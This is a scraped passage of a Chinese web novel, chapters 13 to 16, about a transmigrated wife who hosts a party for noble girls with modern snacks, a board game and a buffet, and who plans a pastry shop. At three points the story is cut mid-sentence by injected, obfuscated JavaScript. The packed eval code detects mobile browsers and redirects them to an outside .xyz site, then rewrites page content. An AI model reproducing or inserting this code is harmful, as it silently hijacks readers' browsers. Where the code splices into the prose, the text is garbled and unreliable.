果茶的茶汤却是冷泡出来的，保证清香的同时减少苦涩感，搭配捣烂的葡萄，清甜解渴。 小娘子们叽叽喳喳地挑选试喝，不需要额外活跃气氛，一入座，场面就已经热闹了起来。 “葡萄果茶虽叫茶，却一点也不苦涩。” “好香甜，加了乳酪居然一点也不腥膻，我还以为是胡人常喝的咸鲜味儿呢。” “确实格外浓郁，我要这个，给我斟一大杯。” 大家你推荐我，我推荐你，说笑成一团，丫鬟穿梭其间，手脚麻利地斟茶，倒试喝的小杯。 很快黑糖奶茶就见底，凉亭旁的茶炉便派上了用场。炭火已熄，余温将提前备好的奶茶温得刚刚好，立刻就能续上。 祝明璃本想做出吸管来，可惜试了芦苇和荷叶，都不太适合，只能作罢。 所以小娘子们一人配了一个圆勺，方便舀起杯底的珍珠。此时还没有木薯，只能用藕粉、糯米粉代替，口感差了一点，但模样更晶莹剔透。 对于吃过精加工珍珠的祝明璃来说，藕粉珍珠差强人意，但对于没见过这种吃法的小娘子们来说却是稀奇。 又软弹又有嚼劲，嚼碎来还有红糖味在嘴里散开，极其上瘾。 她们眼睛都亮了，也顾不得客气，一边惊叹一边向丫鬟讨要更多。 “杯底的是何物？” “再给我加点。” 她们吃得开心，也就是厨房有功，传菜丫鬟们一个比一个热情温柔，恨不得把她们喂撑。 饮料的新鲜热度还没过，小甜点又出来抢占风头。 这次不需要挨个伺候，丫鬟们端着托盘，上面摆满了各式各样的小份甜品，顺着长桌一溜排开，每一份甜品都是两口的量，瞧着精致，吃着也不会腻。 甜的有杯子蛋糕，奶油小面包，蜂蜜小面包等等，咸口的有肉松小贝，咸蛋黄毛巾卷，鸡排三明治…… 小娘子们惊呆了，哪见过这种场面呢。 这比选饮子还难下手！ 丫鬟领队在一旁温柔提醒：“小娘子们早膳用得早，想必一路过来也乏了，吃些小糕点垫垫肚子。” 满桌无言。这么丰富，谁能忍住不每样尝一口？这只是垫垫肚子的程度吗？ 礼部侍郎家的王五娘坐在沈令仪右手，闻言下意识转头朝沈令仪看去，以为好友会和自己一起惊讶不知如何下手。但沈令仪作为试吃员，早就被祝明璃喂了个遍，短短十日腰身都粗了点。 所以王五娘只能看到满脸淡定，非常有主人风范的沈令仪。 不是，你不是无父无母艰辛打理中馈的小可怜吗，什么时候发达了？！ 见大家眼花缭乱，一时无人动手，沈令仪只能从容出声道：“肉松小贝不错，大家可以试试合不合口味，两口的量，也不至于耽搁午膳。” 有人出声问：“肉松……是何物？” 沈令仪免不得解释一番。 此时大多数人对猪肉有偏见，一是因为猪的生长环境脏污，连带着觉得猪肉也是下乘，二就是因为猪肉的腥臊味很难掩盖，味觉敏感的小娘子难以忍受。 有些人犹豫，有些大胆尝试，无论吃的哪一个小碟儿，入口皆惊艳无比。 好特殊的口感，好奇妙的质地，好香浓的味道！ “这肉松上黑色的脆片是什么，味道与肉松竟然融合得刚刚好。” “肉松完全不腥！” “为何能做到如此鲜香，回味还有甜？” 叽叽喳喳的，又闹哄哄成一团，一点儿也没有往常的拘谨优雅，你说我笑，开心极了。 沈令仪解释不及，自有传菜丫鬟解释，她们早排练过无数次的站位，就在这个时候派上了用场。无论是上菜，还是服侍小娘子，都完全不会挤。 才开始大家还只挑自己面前的，等尝过味道后，便开始伸手拿远处的，最后干脆坐不住了，直接站起来够远方的。 这个时候完全忘了等会儿还有午食，全顾着眼前的吃。 其中一位小娘子在自家阿姐的强力推荐下，终于决定要尝试一下肉松小贝，姐俩一边说一边转头看，发现老长的桌案上，竟然一叠儿也不剩了。 小娘子不过八岁，见到对面小娘子吃得那叫一个香，当场心态就有点崩。 她姐姐连忙转头问丫鬟：“还有肉松小贝吗？” 丫鬟有点尴尬，完全没想到这个量不够。祝明璃当时交代过甜品不是正餐，只是用来垫肚子的，但甜品小作坊那边还是按照了两倍的量来准备，没想到现在居然抢光了！ “小娘子，确实是没有了。” 完了，吃不到的，更馋了，气得姐俩连端几个碟子揽到自己跟前。 眼见着桌子上的甜糕越来越少，沈令仪站出来主持大局：“大家现在垫了肚子，咱们是不是可以开始玩耍了？” 这话一出，谁还能说自己还想吃呢？大户人家的小娘子，一幅饿死鬼模样，太丢人了。 手慢的遗憾，手快的很撑，各有各的状态，齐齐整整地回答：“开始游戏吧。” 便有丫鬟上来收碟，撤桌，这也是排演过无数次的，手脚极快，排成长列进出，很快就撤干净了。 然后又有丫鬟端来轻便的方桌和窄桌，方桌负责游戏，窄桌则拿来放饮子。 纱帐透风，甜品的香味很快散去，大家的注意力被新的物什吸引。 方桌摊着一张极大的纸，上面画满了格子，其间写着不同的小字。 第一波值班的丫鬟换人，轮值的丫鬟替上，为大家解释游戏规则。 “此盘名为‘大富翁’。” 此时很流行双陆，靠掷骰子算步数走棋，先走到对方刻线以内，则为获胜。本质来说，和大富翁的底层规则一致，只是大富翁增加了许多趣味，有惩罚有奖励，能买地能卖地，一盘可以玩很久。 纸多黏几层，涂上浆糊风干变硬，便成了粗糙的卡牌。祝明璃凭借记忆写了一大堆，变成厚厚几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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看娘子的意思，以后手里的嫁妆铺子都要改生意，各地货物来源不一，比如岭南道的珍珠价低，淮南道的绣品精致，万一用得上这些信息呢。 明明是坐着玩的游戏，小娘子们却出了一身汗。 双陆固然有趣，但大富翁更新奇，毕竟士农工商，“商”在最底层，大伙儿可体会不到大手一挥唰唰赚钱的快感。更别提买地收税了，普天之下莫非王土，谁敢做这种买卖。 也幸亏是现在风气开放，平康坊里议政骂朝廷的读书人可不少，她们闺秀关起门来玩的小游戏无伤大雅，要是放在严苛的朝代，发明这个游戏的祝明璃高低要被治罪。 “好！！”又有一个小娘子掷骰子到了最大点数，和围观的妹妹一起欢呼。 手气差的小娘子气得脸蛋鼓鼓，在一旁喝奶茶泄愤。 大家越玩越兴奋，气氛融洽到了顶点，熟的不熟的都在打闹中拉近了关系。 眼见着时辰到了，焦尾轻步走过去，撩起轻纱：“小娘子们，时辰差不多了，可要用午食？” 闹哄哄的场面顿时安静下来。 大家都不约而同在想：甜糕和引子如此别出新奇的沈府，午膳会是什么样呢？ 14.第 14 章 小娘子们聚会，祝明璃不至于一掷千金弄出个国宴来，但在创新上，免不了下些功夫。 此时采用分食制，用膳时每个人面前各自上碗碟，菜式基本都是一样的，有什么吃什么，若是遇到不合口味的，参加宴会完只能空着肚子回家。 沈令仪给祝明璃的单子里，小娘子们祖籍不一，口味不一，哪怕是土生土长的长安人，也分清淡和重口。 既然不能一套菜色满足所有人，那就自助！ 棋牌桌撤下，长桌再次被端上来。 撩开纱帐，保证空气流动，小丫鬟们穿着统一，手里端着托盘，鱼贯而入，十分默契地将托盘里的碗碟均匀摆放在各个地方。 碗碟就比糕点碟大一点，和家中吃醋芹的碟子差不多，精致小巧，数量却多到挤满了长桌。 此时常见的菜式有，这些叫大厨房准备就行。葱醋鸡、白龙臛（由鳜鱼片做成的肉羹）、红羊枝杖（炖羊蹄）等等，都是祝明璃吃不惯的，量不多，分装在各个小碟里。 时人粒食的方式和后世一样，都是以菜佐米饭，所以热腾腾的稻米饭也是有的。每人面前一小碗，量小，不吃的不怕浪费，不够的可以唤丫鬟再添，免得米饭凉了寒胃。 除了米食，“饼”也不少，此时用麦面做的食物一律叫饼，烧饼、馒头、煎饼，都是饼。以饼配菜，也是一种常见的饮食习惯，所以蓬松的馒头必不可少。 除了这些菜色以外，其余的都是祝明璃按自己口味改善的菜，全是家长眼里的“不好好吃饭”的饭。 面包有了，面包糠也就有了，炸鸡必不可少。每个碟儿装一个，撒粉的浇酱的，保证肉汁充足，一咬喷香。 致力于改善猪肉口味的祝明璃自然不可能忘了猪肉，处理过的猪肉仍带腥臊，就必须通过做法来改善。 红烧排骨、蒜香排骨、爆炒回锅肉、锅包肉……什么口味的都有，任君挑选。若是普通菜色还不能让你爱上猪肉，那么请尝试后世席卷景区的火山石烤肠。 腌制调味、剁成肉糜混合淀粉、肠衣包裹，量不多，祝明璃本人还不够吃呢。 什么？想吃面条，那也有。 小碗装的，两口嗦完，杂酱面、鱼丸面、热干面、酸汤面，小厨房做惯了，出餐快，口味也稳定。分成小碟装看着多，但其实一锅做一样，灶台完全够用。 有肉有主食，蔬菜可不能少，营养要均衡。 可惜做完以上菜色，厨房人手不够啦，所以祝明璃只能取巧，做串串香。蔬菜用竹签串起来，放在两个锅底里煮，一个是加了茱萸的香辣味，一个是用海带、萝卜、清酱、香菇等物仿制的关东煮汤底。 此时鸡汤猪骨熬制而成的高汤不稀奇，但关东煮汤底可没人吃过。海带是味精提取的原料，鲜味儿极重，加了糖的汤底更是提鲜一把好手，看着清，却回味鲜美。 蔬菜都是有什么煮什么，芜菁、萝卜、韭菜、藕片、胡瓜……女大学生靠吃麻辣烫补充蔬菜营养，想来小娘子们也能习惯。再用炸豆腐包裹鱼糜、鱼籽做福袋，保证食材上的新奇。 她们来得太早，祝明璃研究的米粉还没成功。虽传说五胡乱华时期就有米粉了，但至少在此时的北方没有这种主食，制作工艺繁琐，步骤太多，小作坊正在缓慢试验中。 她的各种遗憾无人能共情，所有人看着“自助餐”陷入了目瞪口呆的局面——包括沈令仪。 以往还有丫鬟温声细语介绍，但这次样式太多，报菜名会报得口干舌燥，只能道：“小娘子们口味不一，各自挑选自己喜欢的就好。” 这可让小娘子们陷入了艰难的境地，眼睛都看花了，太难了。 有了甜糕饮子的经验，大家心里对创新菜色的期待值拉到了最高，来都来了，谁还要吃常见的菜色，纷纷动手取没见过的菜。 祝明璃之所以把地点选在小花园，就是想让小娘子们放松吃喝玩乐，不拘着自个儿。 前面的玩乐已经让气氛活跃到了顶峰，到了用膳的时候，所有人都极其放松，所以完全不拘谨，想吃什么自己动手拿就是了。 大家没见过这种形式的聚会，以前都是入府后进厅堂，有墙的正堂和在外面饮食区别很大，外面和踏青野餐一样，能让人自然放松。 而且以前无论双方多熟络，也不能当着丫鬟们的面失了规矩。可是沈府的丫鬟姐姐格外温柔，也不板着脸守着，上完菜就站得远远的。 最后一层顾忌没了，又都是活泼的年纪，直接撒开了吃喝。 “这竟然是鸡肉？”炸鸡外壳轻薄酥脆，肉汁鲜香，外面蒜香甜辣的酱汁更是让人上瘾。 火山石烤肠也让不爱猪肉的小娘子陷入迷惑，鲜香之中透着回甘，这真的是难吃至极的猪肉吗？ 迷惑的时间不长，因为其他人手太快了，生怕和糕点一样，被一抢而空，有思考询问的功夫不如再端一碟入口！ 不爱油荤也不爱重口的小娘子第一次聚会吃到心坎儿上了，鱼丸白净，面汤清亮，洒上青葱，卖相极好。再试一试酸汤面，直接胃口大开，向关东煮锅底的串串下手，萝卜被小火煮得晶莹剔透，提前用米汤去了苦味，只剩清甜，一抿就化，几根下去脾胃舒畅。 不是所有小姑娘都能吃惯羊汤鸡汤，总觉得荤腥味儿重，关东煮很好地弥补了这一点，又鲜又甜的同时却很清淡，吃到最后干脆舀一碗汤饮下，浑身通透。 “从未吃过这般口味的汤底，若是我家厨娘也有这手艺，何至于每□□着自己咽油荤。”这位小娘子放到现代一定是味精的忠实粉丝。 这次大家十分默契，不再把时间浪费在谈话上，埋头一顿吃，争取在短时间内把所有新鲜菜色全尝一遍。 唯一的对话就是：“玉娘，帮我递一下那个。” “六娘，帮我传一下汤面。” 后来发现远方的小娘子忙着吃，无暇顾及自己，干脆起身绕一圈过去拿，以往宴会哪敢这么松弛呀。 吃爽了，出汗了，正准备停止战斗时，温柔耐心的丫鬟像一道光般出现了。 “小娘子们，要不要尝尝冰红茶，解腻。” 没有柠檬，酸味只能用酸杏代替，山楂健脾消食必不可少，放入茶汤能模仿个七成滋味。此时吃喝玩乐水平并不落后，冰镇饮料相当流行，皇室与贵族都有冰窖，若是没有，世面上还有专门卖冰的商人。 今日一早茶水室的丫鬟们就取冰给饮子降温，保证解腻的同时又不会太寒伤胃。 小娘子们人手一杯，仰头一口，酸甜中带着茶汤的清香，那叫一个爽。 “啊——”实在忍不住长叹一声，终于理解了父兄吃炙肉配酒时为何总爱发出怪声。 小甜水做缓冲，还可以再战！ 等到碗碟一扫而空，大家惊讶为何准备的 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嗯？谁家好人去别人家玩耍，还带午睡的。 大家面面相觑，想要拒绝，但是又太困了。 陆陆续续有人站起来，其余人也跟着，最后看剩下的人太少，干脆全员出动，浩浩荡荡午睡。 走在路上她们跟做梦一样，沈府的主母到底是怎样一位夫人，竟然连这个都准备了。 祝明璃：小姑娘炫完就睡，很正常嘛。 下午轮值的丫鬟早就做好了准备，热水净面、除衣拆髻。被褥上午就熏好了，保证软和舒适。 小娘子们或两个或三个睡一床，刚好装满两间客院，丫鬟们服侍完就退出，把空间完全留给她们。 四周安静下来，乖巧躺在床上的小娘子们这才开口小声说话。 “连客院都收拾好了，岂不是一早就料到我们要小憩？” “安排也太妥帖了，令仪平日也是过的这种日子吗？真羡慕。” “我阿娘严格，才不允我这般放纵，哎。” 你一句我一句，关系拉近的同时，还有一种隐秘的幸福感——好姐妹睡一床的机会太少。帘帐一拉，仿若进入了秘密基地。 若是这种时光能拉长一点，过个夜，该有多快乐。 小娘子们在美好的幻想中沉沉睡去。 午睡不能太长，睡久了头疼，时候差不多了，便有丫鬟入房将她们唤醒，伺候洗漱梳头。 下午的活动分为两种，一是不需跑跳的桌游，二是做运动，投壶玩球追逐，想玩什么玩什么，都在小花园进行。丫鬟们回避，任由她们嬉闹。 此时蹴鞠和打马球都很流行，但马球有场地限制，也就衍生出了在地上跑着打的游乐方式，衣裳不方便也不要紧，反正目的只在于跑跑闹闹。 最后干脆不打球了，蒙眼摸人，追逐抓“鬼”，丢香囊……只要给小姑娘们一个舒适放松的环境，她们自有玩乐的方式。 一整个下午，小花园的笑声就没断过。 直到时辰差不多了，她们还没玩儿尽兴，可是必须要散场了，得赶着闭坊前回府呢。 直到这个时候她们才想起：咦，我们入府以来，都没拜见过主母诶？ 15.第 15 章 所以沈府的主母在哪呢？ 祝明璃正在往沈母的院子里赶。 一般小辈入府做客，第一件事就是拜见主母或家主。若是普通小聚，不需要那么郑重，用完膳后前往也行，或见到本府小辈后再一同去主院。 但今日并没有按照正常流程走，一是本府主母不爱客套，二是祝明璃非常理解见到陌生长辈的尴尬，若是气场不和，后半场吃喝玩耍都不自在。 无论如何，在离府前总要见一下的。 主母是三房的，沈老夫人地位又在这里，小娘子们需要两个地方跑，麻烦。所以祝明璃吩咐下去，让小娘子们都到老夫人这里来。 沈老夫人见到祝明璃也不惊讶，毕竟“省时省力”很符合这个儿媳的作风。 二人相见，虽然生疏，但也能聊。沈老夫人阅历广，地位高，只要她想，话头就不会落到地上。 聊到了小作坊，祝明璃顺势问道：“母亲，若是我想把研究的这些甜糕放在长兴坊的铺子售卖，是否行得通？” 沈母这会儿真摸不清媳妇儿的想法了。 别说沈家，就是祝家的家底，也够祝明璃享福一辈子了，何必费尽心思去经营铺子赚钱？主母虽然也要管理铺子，但只是“管理”，挣钱的事儿都交给掌柜来发愁，更别说在府内搭灶台自个儿研究甜糕了。 若是单纯喜欢经商也正常，本朝就有公主钟爱此道，但不会细致到亲力亲为，且经手的生意没那么……接地气。 “三娘为何想要经营糕肆呢？” 此时读书作画才是上乘，士农工商，后世受敬重的手艺人都排在“农”后面，更别说下厨这种爱好。厨娘做到顶端也是个厨娘，不会成为“大师”。 但在生产力极其发达的后世，人们对生活的热爱逐渐体现在照顾好自己上，烹饪也成为了一项艺术。 观念不同，很多事便难以解释。祝明璃只能简单道：“我喜欢琢磨吃食，也爱研究食谱，若别人认可我想出来的吃食，对我来说是一种鼓舞。” 行吧，沈母只能绕过这个问题，回到正题上：“长兴坊附近皆是富贵之家，地段不错；入口的东西容易生是非，食材要注意，不过长安城里倒不会有人故意讹沈府；你作为东家不可出面，一是身份不合适，二是扯上钱财，万一夺了人家的利，多少都会生嫌隙……” 沈母十分耐心，一一分析，提到了许多祝明璃没想到的方面。比如让掌柜提前准备，到县衙报备打点；之前药铺的货也要清了，提前与货源处沟通好。 祝明璃安静地听着，在脑海里牢牢记住。 等沈老夫人说得差不多了，小娘子们正好到院。 路上兴致再高，到了老夫人的院里都是要循矩守礼的。她们不再相互交谈，端直背，安静地进入屋内。 老夫人和祝明璃说了一会儿话，精神头稍减，见到一群花枝招展的活泼小娘子们，这口气又重新提了起来。 “老夫人，三夫人。”小娘子们齐刷刷行礼。 老人都是喜欢生气十足的小辈的，沈母脸上露出和蔼笑容：“不必见外。” 她其实已经分不太清面前的小娘子们都是哪家的了。沈府这些年接连逢丧，许久不办宴也不参宴，小辈们个头窜得快，上一次见还是六七岁的小童，如今已蜕变成亭亭玉立小娘子了。 她随手招来离沈令仪最近的小娘子：“你是哪家的小娘子？” 王五娘乖巧在她面前坐下：“家父乃礼部王侍郎。” 沈母摸摸她的发髻：“原来如此，都长成大姑娘了。” 王五娘对沈老夫人的记忆也有些模糊，今日见到，发现她比从前生了太多白发，神态疲倦。王五娘心中唏嘘：“久未前来拜见，是五娘的不是。” 沈母摇头：“哪里的话。”便唤着嬷嬷取金豆给小娘子们。 小娘子们连连推拒，你一句我一句，屋子里热闹了起来。 “好了好了。”祝明璃受不了这种过年长辈给红包的推拉场面，“都收下吧。” 大伙儿从进来就开始偷瞄祝明璃，此时她开口，小娘子们终于能正大光明看向她了。 她和大家想象中不一样。小聚办得如此妥帖，理应老道持重，但她看上去却很年轻；考虑细致入微，理应温柔贤淑，但她看上去又很爽利干练。 小辈们你看我我看你，怎么都不好意思收，眼见着时辰不早了，大伙儿干脆借口告辞：“再不回去，就要闭坊了。京兆住在附近，可不敢在他眼下犯事儿。” 沈母说了这么会儿话，也累了，祝明璃便跟着告退，邀着小娘子们往外走。 “今日的甜糕和午食可合口味？”祝明璃终于问到了正题上。 那可太合了！ 小娘子们答：“很合口味。” “今日把我撑得肚皮都鼓起来了。” “尤其是甜糕，可惜没吃几口，就被她们抢光了。” 祝明璃见她们脸上的神情不似作假，便放心不少，笑道：“正好下午又新出炉了些热乎的，你们捎点回去，自己吃也好，给长辈尝尝鲜也好。” “这……”大伙儿面面相觑。 金豆子什么的倒无所谓，这个真想要。 又开始新一轮推拉：“哪能厚颜如此？”连吃带拿的。 却不想祝明璃早就给她们装好了，小丫鬟们端着竹制食盒过来，里面是油纸包好的甜品。 刚出炉的，浓郁香甜的暖气从竹片间溢出，喜甜的人完全无法抗拒。 “每样都拼了些，不是什么贵重东西，提一盒回去吧。”一边说着，一边让丫鬟将竹盒递给小娘子们的丫鬟。 贴心至此，不拿都对不起自己。 再说了，若是不拿，今夜回去肯定馋得慌，太上瘾了。 “那就多谢夫人了。”说出这句话后，见到自家丫鬟接住食盒，小小地松了口气。 长安城里，还有像沈府这样的，还没离开就期待下次再来的府邸吗？ 必然是没有的。公主府固然豪气华贵，有长安最闻名的乐师歌伎，席面精致名贵，但进去了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16218990|181285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浑身都紧绷着，生怕出了岔子给家族丢脸。更不能敞开了吃，今日失态，明日全长安都要笑话你。 沈府吃食饮子样样奇特，一看就废了心思，更是有新玩意让小娘子们玩耍，玩乏了，还能午憩，这是她们想象不出的放松。 见祝明璃走远，王五娘终于找到时机赶紧交代沈令仪：“仪姐儿，以后若是还要办宴，一定要给我下帖子。” 沈令仪陪她们往外走：“不会忘了你的。” 话音还未落，其他小娘子也立马挤过来：“还有我还有我。” 沈令仪被拉来拉去，头都晕了：“好好好，一定。” “下次是何时？” “这……我不知道，得看叔母何时清闲下来。” “那你多帮三娘子打理中馈，让她早些闲下来吧。”好么，倒是会安排。 有的小娘子觉得自己吃饱喝足睡好，又连吃带拿的，实在难为情，干脆掏出自己的钱袋子，取了金豆子塞沈令仪掌心，小声道：“走得匆忙，没来得及打赏下人，你帮我换成铜板赏给她们。” 沈令仪惊道：“这哪儿使得！” 可别人见状，都觉得此举甚好。一是今日过得确实欢心顺意，二是吃喝上终究是大大失态，这既是赏钱也是封口费。 所以大家便都开始掏钱袋，有铜板的给铜板，没有铜板的便让长姐一起出金豆，无论沈令仪如何推辞，都硬要塞到她手里。 “真不能久留了，马上就要闭坊了。”塞完赏钱，拿出地上打马球的速度，闪身不见。 留下沈令仪看着一堆钱犯愁，只能转身往祝明璃院子去。 祝明璃也没想到这些小娘子会如此客气，她唤来绿绮，让她把这里面的金豆收起来，全部换成铜板，然后按功奖赏。 绿绮作为其中一份子，说不开心是假的。 “娘子，具体怎么分呢？” 祝明璃早就想好了：“按品级分，管事领队最多，下面依次递减。然后再给所有参与的仆役加绩效，包括洒扫小丫鬟，不能漏了。” 绿绮忍不住笑意：“好！我这就去办！” 府里的月例赏钱制度在祝明璃接手后革新了一遍，如今有了章程，账房那边记账算账极快。暮鼓敲完，轮值夜班的丫鬟们还未开始干活，就听到了喜讯。 赏钱还没到手，但是一层层打听，具体数额都知道了。小娘子们的打赏加上祝明璃本就准备好的奖赏，加起来数目不小。 内院其乐融融，丫鬟们都是青春年纪，耐不住性子，恨不得当场舞蹈。 “太好了！夫人真是体恤下人。” “自从夫人嫁进来以后，这日子是越过越有盼头。” 回到下人房的丫鬟们不敢乱窜打听，只能等值夜的丫鬟回来送讯。一句话的功夫，说完就走，留下满房的丫鬟们捂着嘴巴蹦跳。 今夜沈府喜气浓厚，竟比三房成亲那夜欢庆味儿更甚，倒叫焦尾和绿绮好一阵唏嘘。原来不是有个喜事就能“冲喜”，还得靠有能力的人日积月累料理才行。 16.第 16 章 沈府的变化，绿绮和焦尾深有所感，一直生活在这里的人感触只会更深。 仆役婢子自然不必多说，小辈们的改变也很大。沈令仪这些时日再也没有唉声叹气，连字画都变了风格。 一向将“独”字贯彻到底的二房双子，也感觉在府里的日子轻快了些，具体的说不上来，至少院里下人不再用哭泣躲懒，衣食住行都有改善。身上久罩的阴影不知何时散了不少，连自己也没察觉。 他们不往祝明璃跟前凑，祝明璃也不去理会他们，井水不犯河水地生活着。 这种日子终究还是被打破了。 两人性子张扬，长安城里好友不少。自从家里丧事后，他们能往外跑就往外跑，这样就不用回府面对伤心地。 小宴后的第三日，沈令衡与沈令姝同时邀了好友打马球。 别的府可不像沈府这样不拘着小辈，所以他们每回打马球的队友都不一样。这回放出来的这一批，有两人的妹妹正好上次来参加过沈府小宴。 妹妹们人手一盒糕点，自然要孝敬长辈以表心意。两人在府里闲着无聊到处乱窜，厚着脸在祖母房里尝过一块儿。 本来只是瞧着卖相陌生，尝个味儿，没想到一口肉松香葱面包卷下去，就上瘾了。外层的肉松香葱香咸浓郁，沙拉酱在口里爆开，黏糊丝滑，面包有嚼劲却又足够软嫩，咽下去了嘴里还是浓浓的奶香麦香。 甜品的初尝试总是会激起十足的多巴胺，八分的美味在舌尖化作十二分的惊艳，二人立刻就想尝更多。 可惜府里人多口多，一人几块早就所剩无几。 若是吃爽了还好，吃一块就没了，这简直是折磨！ 剩下的几日总是念着那一口，咸的饼子嫌没有面包香甜奶味，甜的饼子嫌没有面包的蓬松软嫩，把厨房折腾得够呛，最后琢磨着用油和奶酥蒸饼做出了个四不像。 没办法，他们只能委婉地问妹妹们哪里来的甜糕，能不能再讨点？ 得到了妹妹的白眼球：“阿兄以为我不想再吃几块儿？哪有讨食讨到人家府上的。” 行呗，你不讨，我讨！ 听到沈府双子约着打马球，忙不迭地禀了阿娘，兴冲冲地出府。 沈令衡不知道对面有人嘴上是打球，心里是面包，只觉得对方队里两人紧盯着自己，莫不是最近自己技艺猛升，竟被对方派来两人来纠缠？！ 一场球打得是胶黏至极，好不容易分出胜负，心里火气蹭蹭冒。 打完球，一身汗，正在灌凉水时，盯着自己的两人竟然朝这边来了。 沈令衡当场冷笑一声，水囊一丢，拳头握紧就迎了上去。 打马球这种事儿，有摩擦很正常。别的府上小郎君脸上挂彩，他们长辈会因为沈令衡的悲戚身世不好意思找上门，而沈令衡鼻青脸肿地躲着回府，也没人在意。所以论打架次数，沈令衡稳居第一。 两方越靠越近，沈令衡的拳头下一刻就要抬起来时，对方一把揽住了他。 “沈平清！”一身臭汗熏得沈令衡头晕脑胀，“好球，好球啊。” 沈令衡狠狠推开了他们，目瞪口呆：“你打马球伤着头了？” 对方竟然好脾气地忍了：“平清说话真是风趣。” 太过诡异了，沈令衡火气下去，变成了惊疑。对方何时叫过他的字，稍微好的时候高喝大名，恼怒的时候叫“沈獠”，今日是怎么了？ 对方也受不了这种套近乎，两句已经是极限，接下来就图穷匕见：“前几日我家阿妹去沈府做客，吃了贵府的甜糕久久不忘，回来后还一直念着，没法子求到了我这个兄长面前，我也只好觍着脸来寻你了。 ” 沈令衡听得莫名其妙：“什么甜糕？长安城糕肆众多，自个儿买去。” “啧。”对方不耐，“什么糕肆，要是有我早买了，我缺那点钱吗？是你府上厨娘做的。” 沈令衡努力回忆了一下，以前吃的甜糕都是府外买的，放在桌上落灰。祝明璃掌家后他没吃过，所以疑惑道：“我家厨娘何时会做甜糕了？” 这人果然讨嫌。对方松开手：“又不是我要的，是我家阿妹，你何至于因为我俩的嫌隙，小气如此？” 沈令衡：“胡说八道什么呢？” 他俩这边起了争执，女方那边也散场了。沈令姝过来找他一同回府，见状道：“阿兄，吵什么呢？” 沈令姝是出了名的泼辣，对方压下火气：“我替我家小妹讨点你家甜糕，你阿兄连这个也计较。” 沈令姝也迷茫了：“什么甜糕？” 兄妹都如此，倒不像装的。对方只好细细解释：“就是前几日你家大娘子办的小宴，宴后还每人赠了一盒，让她们带回府品尝。” 沈令衡整日长安城跑，还真不知道此事，正想反驳，却听沈令姝道：“我知道了。” 那日她在府里，自然知道这回事儿，只是关在自己院子里，根本不想参与。至于甜糕，稍作联想就明白了，她之前听到院子里的丫鬟们小声议论主母另搭了小厨房，里面的厨娘日日身上香甜，想必做的就是甜糕了。 没想到大娘如今竟同这位叔母如此亲密，还邀好友过府办宴，前几年她哪有这等好心情？ 几人围着，嗓门不小，大伙儿都以为有热闹瞧，渐渐围了过来。 很遗憾没打起来，但听到了对话。 小娘子们扯过沈令姝来打趣：“什么甜糕呀，竟让人求着兄长来问，令姝你怎么瞒着我们？” 沈令姝黑了脸：“是我新过门叔母让厨娘做的。” 一听这话，所有人都噤了声。沈家双子平日相处着挺好，大方热忱，但一和长辈挨边儿，就跟变了个人似的。好似自己的阿娘撒手人寰，世上所有的长辈都要丢弃他们一般，都变成了仇敌。 大伙儿是不明白这种想法的，但知道该闭嘴的时候闭嘴。 郎君那边却没有这种觉悟，本就不是相知相熟的队友，闻言自然而然道：“叔母呀？那你回去帮我小妹问一嘴呗，若是不外传的食谱就算了。” 沈令衡的脸变得和沈令姝一样黑，忍着道：“只是叔母而已，我去向她要这要那的？真是不安生。” 他给沈令姝使了个眼色，两人便怒冲冲走了。 剩下一群人摇头。 “真是古怪。” “少说两句吧，家逢大变，性子古怪点也正常。若我阿娘弃我而去，来一个陌生娘子当家做主，我也不可能同她亲密。” * 这个小插曲除了让双子二人难受以外，没留下任何影响。 沈府仆役按部就班做活计，沈令仪忙着给小姐妹回信说自己没有食谱，祝明璃规划着糕肆的未来，沈府上下其乐融融，一派和谐。 在这一片和谐中，沈令文终于回府了。 之前旬试，祭酒大怒，批所有人只会作空洞文章，居高临下、闭门造车，竟让所有生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229391|181285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徒跟着他出京。正逢秋收，是俯身躬行、体察民瘼的好时机。 于是生徒们只能让书童回府或回学馆收拾行礼，匆忙出京。却不想祭酒一时兴起，一路前行，而后又遇到相熟的县令，让生徒们帮着打下手学习。 正忙的时候来了一帮苦力，可不得使劲压榨，如此折腾月余，总算能回京歇息了。 入城后，生徒们各自散去，外地的回学馆，长安本地的就回自己府上。 沈令文带着书童回府，一身疲乏，门房差点没认出来。 小郎君时隔这么久回府，府内自然要吆喝传开的。 沈令文再累再脏，也不能立刻就往自己院里钻，怎么也得先拜见祖母。想到这儿，又猛然记起三叔娶亲，自己并未回府祝贺，这可是件大事，颇得罪人！ 那就先去祖母那儿，再遣人去三房通传一声……他脑里规划着，脚步沉重，恨不得倒头载地上睡一觉。 在这种疲惫中，对周遭环境的感知便不那么敏锐，只隐隐约约觉得有些变化，但仔细瞧着，布景树植都是原先那般，并无区别。 他将这种胡思乱想抛之脑后，闷头前行，终于抵达祖母院里。 